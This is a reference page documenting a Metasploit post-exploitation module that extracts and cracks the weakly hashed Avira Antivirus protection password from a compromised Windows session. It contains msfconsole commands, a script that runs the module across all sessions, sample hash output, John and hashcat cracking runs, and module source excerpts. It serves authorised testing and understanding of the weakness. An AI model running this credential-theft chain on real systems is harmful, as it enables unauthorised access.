Windows Gather Avira Password Extraction - Metasploit


This page contains detailed information about how to use the post/windows/gather/credentials/avira_password metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Windows Gather Avira Password Extraction
Module: post/windows/gather/credentials/avira_password
Source code: modules/post/windows/gather/credentials/avira_password.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module extracts the weakly hashed password which is used to protect a Avira Antivirus (<= 15.0.17.273) installation.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/gather/credentials/avira_password

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/gather/credentials/avira_password
msf post(avira_password) > show options
    ... show and set options ...
msf post(avira_password) > set SESSION session-id
msf post(avira_password) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/gather/credentials/avira_password")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Vulnerable Application


This module extracts the weakly hashed password which is used to protect a Avira Antivirus (<= 15.0.17.273) installation.

Avira AntiVir 15.0.2009.1965 can be downloaded here

To enable the password functionality, use the following instructions:

  1. Open Avira Antivirus
  2. Click the gear icon in the bottom left corner
  3. Select General
  4. Click Password
  5. Enter a password in the boxes, and click Apply

Verification Steps


  1. Install the application
  2. Start msfconsole
  3. Get a shell
  4. Do: use post/windows/gather/credentials/avira_password
  5. Do: set session [session]
  6. Do: run
  7. You should get the MD5 password

Scenarios


Avira Antivirus 15.0.2009.1965 on Windows 10

msf6 exploit(multi/handler) > use post/windows/gather/credentials/avira_password 
msf6 post(windows/gather/credentials/avira_password) > set session 1
session => 1
msf6 post(windows/gather/credentials/avira_password) > set verbose true
verbose => true
msf6 post(windows/gather/credentials/avira_password) > run

[*] Checking default location...
[*] Found file at C:\ProgramData\Avira\Antivirus\CONFIG\AVWIN.INI
[*] Processing configuration file...
[+] MD5(Unicode) hash found: C8059E2EC7419F590E79D7F1B774BFE6
[+] Info: Password length is limited to 20 characters.
[*] Post module execution completed

Cracking the password


John


msf6 post(windows/gather/credentials/avira_password) > creds
Credentials
===========

host  origin        service  public  private                           realm  private_type        JtR Format
----  ------        -------  ------  -------                           -----  ------------        ----------
      192.168.2.92                   C8059E2EC7419F590E79D7F1B774BFE6         Nonreplayable hash  Raw-MD5u

msf6 post(windows/gather/credentials/avira_password) > creds -o /tmp/avira.jtr
[*] Wrote creds to /tmp/avira.jtr
user@kali:~$ sudo john --format=Raw-MD5u --wordlist=/usr/share/john/password.lst /tmp/avira.jtr
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5u [md5(utf16($p)) 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
test             (?)
1g 0:00:00:00 DONE (2020-10-10 11:30) 100.0g/s 24000p/s 24000c/s 24000C/s steve..blazer
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Hashcat


user@kali:~$ hashcat -m 30 /tmp/avira.jtr /usr/share/john/password.lst
hashcat (v6.1.1) starting...

...clip...

Dictionary cache built:
* Filename..: /usr/share/john/password.lst
* Passwords.: 3559
* Bytes.....: 26325
* Keyspace..: 3559
* Runtime...: 0 secs

The wordlist or mask that you are using is too small.
This means that hashcat cannot use the full parallel power of your device(s).
Unless you supply more work, your cracking speed will drop.
For tips on supplying more work, see: https://hashcat.net/faq/morework

Approaching final keyspace - workload adjusted.  

c8059e2ec7419f590e79d7f1b774bfe6::test           

Session..........: hashcat
Status...........: Cracked
Hash.Name........: md5(utf16le($pass).$salt)
Hash.Target......: c8059e2ec7419f590e79d7f1b774bfe6:
Time.Started.....: Sat Oct 10 11:40:51 2020 (0 secs)
Time.Estimated...: Sat Oct 10 11:40:51 2020 (0 secs)
Guess.Base.......: File (/usr/share/john/password.lst)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1296.0 kH/s (1.04ms) @ Accel:256 Loops:1 Thr:64 Vec:1
Recovered........: 1/1 (100.00%) Digests
Progress.........: 3559/3559 (100.00%)
Rejected.........: 0/3559 (0.00%)
Restore.Point....: 0/3559 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: #!comment: This list has been compiled by Solar Designer of Openwall Project -> sss
Hardware.Mon.#1..: Temp: 43c Util: 43% Core: 705MHz Mem:1400MHz Bus:16

Started: Sat Oct 10 11:40:51 2020
Stopped: Sat Oct 10 11:40:52 2020

Go back to menu.

Msfconsole Usage


Here is how the windows/gather/credentials/avira_password post exploitation module looks in the msfconsole:

msf6 > use post/windows/gather/credentials/avira_password

msf6 post(windows/gather/credentials/avira_password) > show info

       Name: Windows Gather Avira Password Extraction
     Module: post/windows/gather/credentials/avira_password
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  Robert Kugler / robertchrk

Compatible session types:
  Meterpreter

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Description:
  This module extracts the weakly hashed password which is used to 
  protect a Avira Antivirus (<= 15.0.17.273) installation.

Module Options


This is a complete list of options available in the windows/gather/credentials/avira_password post exploitation module:

msf6 post(windows/gather/credentials/avira_password) > show options

Module options (post/windows/gather/credentials/avira_password):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Advanced Options


Here is a complete list of advanced options supported by the windows/gather/credentials/avira_password post exploitation module:

msf6 post(windows/gather/credentials/avira_password) > show advanced

Module advanced options (post/windows/gather/credentials/avira_password):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the windows/gather/credentials/avira_password module can do:

msf6 post(windows/gather/credentials/avira_password) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the windows/gather/credentials/avira_password post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/gather/credentials/avira_password) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Error reading or processing <PATH>.


Here is a relevant code snippet related to the "Error reading or processing <PATH>." error message:

32:	    begin
33:	      client.fs.file.stat(path)
34:	      print_status("Found file at #{path}")
35:	      get_ini(path)
36:	    rescue StandardError
37:	      print_error("Error reading or processing #{path}.")
38:	    end
39:	  end
40:	
41:	  def get_ini(filename)
42:	    config = client.fs.file.new(filename, 'r')

Unable to parse file


Here is a relevant code snippet related to the "Unable to parse file" error message:

42:	    config = client.fs.file.new(filename, 'r')
43:	    parse = Rex::Text.to_ascii(config.read)
44:	    ini = Rex::Parser::Ini.from_s(parse)
45:	
46:	    if ini == {}
47:	      print_error('Unable to parse file')
48:	      return
49:	    end
50:	
51:	    print_status('Processing configuration file...')
52:	    passwd = ini['COMMON']['Password']

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • Robert Kugler / robertchrk

Version


This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.